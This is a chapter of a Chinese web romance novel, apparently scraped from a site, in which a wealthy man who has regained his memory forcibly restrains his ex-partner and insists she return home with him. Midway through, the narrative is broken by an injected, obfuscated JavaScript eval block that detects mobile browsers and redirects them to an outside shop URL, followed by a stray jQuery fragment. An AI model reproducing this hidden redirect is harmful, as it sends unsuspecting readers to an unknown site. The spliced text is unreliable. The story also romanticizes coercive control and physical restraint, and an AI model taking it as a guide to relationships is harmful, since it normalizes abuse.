该怎么形容那样一双眸子。
如同深渊凝视一般,漆黑深沉到能够直击人的心脏。
黎笙一瞬间惊悚感遍袭全身,仿佛血液都被冰封,她下意识要将门关上,可是已经来不及了。
祁砚川已经迈着长腿走进来,皮鞋踩在地毯上,伴着那股清冽独特的气息站到她身边。
黎笙被吓得连连后退。
而祁砚川在此刻幽深的眸子终于焕发出异样的光彩,他盯着她眼也不眨,透着痴迷和心安。
“你们小两口大半夜的别再闹别扭了,快让你老公进去吧,外面天冷。”拿着电棍的保安打了个冷颤,在一旁劝解了两句,随后拢了拢身上的大衣离开了。
“喂,保安,你先别走......”黎笙刚想冲过去拦住保安,却被祁砚川一只手强势利落地抱在怀里,还不忘长腿勾住门关上。
“祁总,你干什么!”黎笙如同受惊的小鹿使劲地挣开,她才不要和有未婚妻的人有所接触。
见祁砚川依旧不为所动,依旧用尽力气紧紧将她禁锢在怀中,黎笙低下头恶狠狠地朝他手背咬了一口气。
“嘶~”祁砚川忍着疼痛却不打算放开她,他太久没有抱过她了,他想她,想她的身体,想她的味道,想她的一切。
黎笙放弃挣扎,强行让自己保持镇定:“祁总,您别这样,被您未婚妻发现我就死定了。”
果然,还是提未婚妻有用,祁砚川手中的力度松了一些。
黎笙也成功顺势挣脱,她极为不自然的将自己身上被微微卷起的睡衣整理好,拢了拢头发,礼貌问:“祁总,您大半夜来我家有什么事吗?”
“乖乖,跟我回家。”祁砚川用手指快速抹了一下眼角,他的声音有些沙哑,和他惯有的冷漠全然不同。
黎笙愣了几秒后瞬间瞳孔骤缩,她几乎整个身子都在发抖,她吞了吞口水,问:“你恢复记忆了?”
“对不起。”祁砚川盯着她,不可置否地开口。
黎笙怔愣了好一会儿,才抬起眉眼盯着他,温声笑笑:“那就恭喜祁总了啊。”
听着她生疏的客套话,祁砚川如坠冰窟,他有一种强烈的感觉,黎笙或许再也不会原谅他了。
不会原谅他那些刻薄又恶劣的语言,不会原谅他甩掉她重新和别人订下婚约,更不会原谅曾经他费了那么些功夫将他捆在身边,最后却又将她抛弃。
“笙笙,我错了。”
祁砚川上前欲抱住她,却被黎笙预判后和他拉开了至少几米的距离,她道:“不要过来!”
“跟我回去好不好?”祁砚川看着她这副抵触的模样,心中又是止不住的心疼。
黎笙摇摇头:“是你让我滚,是你让我不要出现在你眼前,我才不会跟你回去。”
“乖乖,你站的那个地方就是上一任租户被杀的地方。”祁砚川忽然开口提醒。
黎笙小脸当即大惊失色,几乎像是弹跳起来般挪到了别的位置。
祁砚川看到她这一幕又觉得可爱又心疼,他去过她之前那间房子,一览无余,漆黑无光,他实在不知道她被娇生惯养的怎么承受得了那种环境。
这套房子是最凶的凶宅,她小小的弱弱的又是怎么鼓起勇气租下这里的房子。
他眼尾泛红,不敢想在这么长的时间怎么一个人度过的,他那么怕黑的一个人。
祁燕川手紧紧攥着掌心嵌入掌心,想到这些,他无比的心痛,愧疚和自责如同小虫子一般顺着他的骨缝一点点地往里钻。
“你少吓我。”黎笙低头去看那边有什么异常痕迹,她记得自己在大扫除的时候这里面并没什么异常的。
下一刻,祁砚川走过来抱住了她:“我好想你。”
“祁砚川。”黎笙出奇地没有挣扎,而是开口笑了笑:“我跟你回去住在哪里?你和你未婚妻的婚房?睡在你们俩的婚床?”
“她不是我未婚妻。”提起沈悦温,祁砚川的眸光瞬间掺了几分厌恶。
他确实动过和沈悦温订婚的念头,他知道自己没有资格求得原谅,因为他自己也无比后悔失忆后的行为。
“我也不会是,我已经开始了新生活,你也继续你的生活可以吗?”黎笙平静无比地和他打着商量。
祁砚川气息低沉地笑笑,泛红的眼眶划过一滴泪水,他问:“你觉得可能吗?”
他果然恢复记忆了,依旧是从前那副死样子,哪怕求人也依旧是深情带着散漫,温柔带着强硬。
根本分不清他到底是求人还是威胁人。
可黎笙最讨厌他这副样子,她转头推开他,却瞥见了他泛红的眼尾和湿润的眼角。
她刚刚的气势削弱些许,但依旧侧过身子语气冷硬:“我们已经结束了,你不要想反悔?”
祁砚川知道黎笙的性格,更知道她生气起来吃硬不吃软,哪怕他在这里跪着哭一晚,她也不可能心疼他一点。
所以他当下唯一的念头就是,把黎笙带离这个鬼地方,他有的是时间和精力补偿她,求得她的原谅。
“乖乖,我不喜欢这里,所以别让我用其他手段,跟我离开这。”
黎笙皱眉下意识得往后退,嘴里骂道:“你有毛病吧,我说了我们已经分手了。”
“我们这辈子都不会分手。”祁砚川眼神坚定无比,也要势必带走她,他没法再看黎笙再继续吃苦。
黎笙拔腿就跑,祁砚川又来从前混蛋的那套,攥住她的手腕将人紧紧囚禁在怀里。
“啪——”
响亮的巴掌声传来,空气一瞬间凝结,黎笙手震得发麻,而祁砚川白皙的脸颊赫然留下鲜红的巴掌印。
黎笙将颤抖的右手缩回衣袖,她不耐烦道:“你再这样我真的报警了。”
祁砚川脸色阴沉无比,唇抿成一条直线,下一刻他上前将黎笙箍在怀中:“解气了吗?回到家我让你打个够。”
“祁砚川。”黎笙呼吸有些急促,她没想到祁砚川会这么死缠烂打,若是从前他绝对会收拾她:“你是不是犯贱?别人打你了,你还不要脸地往上贴吗?”
这句话像是踩到了祁砚川的雷区,他的胸腔迅速往下沉,一种濒临失去理智的失控感涌上来,他浑身止不住发抖。
他知道是自己对不起她,无论她怎么发泄,怎么打他他都不会有一丝不快,可这句话像是一把刀一样直插胸口。
曾经也有人这样对他说过这句话,至于在过去二十年他每每午夜睡醒总会梦见那个人,梦见那个血腥的场面。
他浑身脊背僵硬着,许久都没说出一句话。
说完这句话的黎笙突然有些后悔,她怕祁砚川会恼羞成怒收拾她一顿,又怕祁砚川真的会被这种侮辱性的话语伤害到。
但总归不会再死缠烂打下去,因为她足够了解祁砚川,生性恶劣,肆意洒脱,他最厌恶纠缠。
所以拿这样的话刺激他再合适不过。
她并不想这么疾言厉色地说话,只是想让他抓紧时间离开,不希望再被他来打扰平静的生活。
他已经订婚了,他有了沈悦温,现在不过是因为短暂的恋旧情绪作祟而已,她的生活一定会平静下去。
祁砚川往后退了半步,他眼眶通红地盯着黎笙,深深吐出一口气,哑着声音冷笑:“我犯贱?死缠烂打?”
黎笙偏头看向一边,不搭腔也不给回应,她知道他一定会走。
可祁砚川慢条斯理地走上前,骨节分明的手箍起她的下巴,眯了下眼,掌心微微用力:“黎笙,你真够有本事的。”
黎笙挣脱开他的手,冷声道:“祁总,我是真的不喜欢和有对象的人有任何干系,而且这也是您曾经教过我的不是吗?”
祁砚川气笑了,从前他约束她的条条框框,没想到有一天会用到自己身上,不过能记住这点也好。
省得被一些不怀好意的男人骗。
“你现在气糊涂了我不逼你。”祁砚川脸上再次挂着温柔的笑容,做出了最后的让步:“三天后我来接你回家。”
没等黎笙说话,祁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272917|149150||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
砚川做完提前通知后便转身离开。
黎笙如同一拳头打在了棉花上,果然是那个狂妄无比的疯子,他看似放低姿态来道歉,可是却根本没给她自主选择原谅与否的权利。
他依旧想要变着法地把他弄回那个所谓的家,将她像从前那般娇养起来,不给演戏、不给社交、不给自由,神不知鬼不觉地养在外面,而他则想订婚订婚,想结婚结婚。
她才不要兜兜转转一大圈回到过去,她还有哥哥,她还有粉丝等着她,她还有梦想要实现。
......
上午七点,祁砚川轮廓分明地五官拢在清亮中,努力将自己焦灼和烦躁强摁下去。
轰隆隆的引擎声响彻在空荡荡的高速,祁砚川一路飞速将车开到祁家老宅,恰好遇到了在花园遛狗的祁无承。
祁无承见儿子过来,当即笑眯眯地招了招手道:“怎么这么早就过来了?温温没跟过来?”
“退婚了。”祁砚川语气低沉,这句话很显然不是商量而是直接告知结果。
祁无承一甩狗绳,脚旁的边牧犬一溜烟叼着绳跑没影了,他怒道:“你敢?”
“在我失去记忆期间遮掩掉黎笙所有的一切,是您做的没错吧?”祁砚川挑眉看向他,颇有一种算账的架势。
祁无承向来敢作敢当,他冷哼一声道:“那女孩入不了我们家的门,你趁早死了这条心。”
“死不了,我是来通知您的。”祁砚川懒散坐在椅子上,语气却格外严肃道:“不要再针对她,不然我不保证会做出什么事。”
“你还能打死老子吗?你个混蛋。”祁无承骂骂咧咧:“是你特么拒绝别人,我才出手的,别以为那六年我不知道你们的事,我干涉过你们吗?”
祁砚川眉眼低垂,这么想也对,站起身拍了拍祁无承的肩膀道:“谢了。”
“站住,混蛋,我和沈家老爷子怎么交代,我们俩可是老朋友了。”祁无承恨不得打死这个混蛋,指着他骂了一通道。
祁砚川道:“我不管。”
“你明天必须和我一起登门道歉,这是祁家该有的礼数。”祁无承呼吸沉重,情绪恢复好才道。
祁砚川摇头:“不去。”说着就要离开。
“那这个婚约就还在,外界就一直认为你们还有婚约。”祁无承一句话点名扼要。
祁砚川瞬间停下脚步,老爷子这点倒是说着了,他要找媒体和记者,他要让黎笙看到,还他的清白之躯。
临走前,祁砚川递给祁无承一张卡,祁无承别提多高兴了,刚觉得欣慰想要开口。
祁砚川眉眼轻佻:“对了,魏姨送给黎笙的手镯被我打碎了,算我买的还给她。”
祁无承闻言就开始四处找东西,差点一口老气没上来。
“你这个混蛋给我滚!”
这边的祁砚川早已识趣地迈步离开。
……
下午,祁砚川来到公司处理文件,秘书推门进来,轻声回道:“祁总,沈小姐想要见您。”
“没空。”祁砚川语气冷冰冰的没有半分的温度。
韩止拿走文件,在一旁顺势提到沈悦温联系过他的事情:“沈小姐似乎是要为陈秉闻求情。”
“他们俩的事情我早就知道,但不管那场绑架到底是不是他们共同合谋的恶作剧,但凡伤害到了黎笙,他是一定会让他们付出代价的。”
韩止道:“陈秉闻的公司已经濒临破产,他自从上次被打之后还在医院躺着。”
“嗯。”祁砚川淡淡点头。
韩止内心倒抽一口凉气,他知道祁砚川狠毒,可没想到会把一个人毁得这般彻底,不但人躺在医院无法自理,甚至多年事业也是转瞬即塌。
视线流转间,韩止突然瞥见祁砚川冷白的侧脸有些红色印记,看上去有点像是巴掌印,但这个世界上谁敢扇祁砚川巴掌呢。
草,不会是黎笙吧。
韩止瞪大眼睛,越想越觉得佩服黎笙,也就她敢这么作,而且祁砚川还不生气的。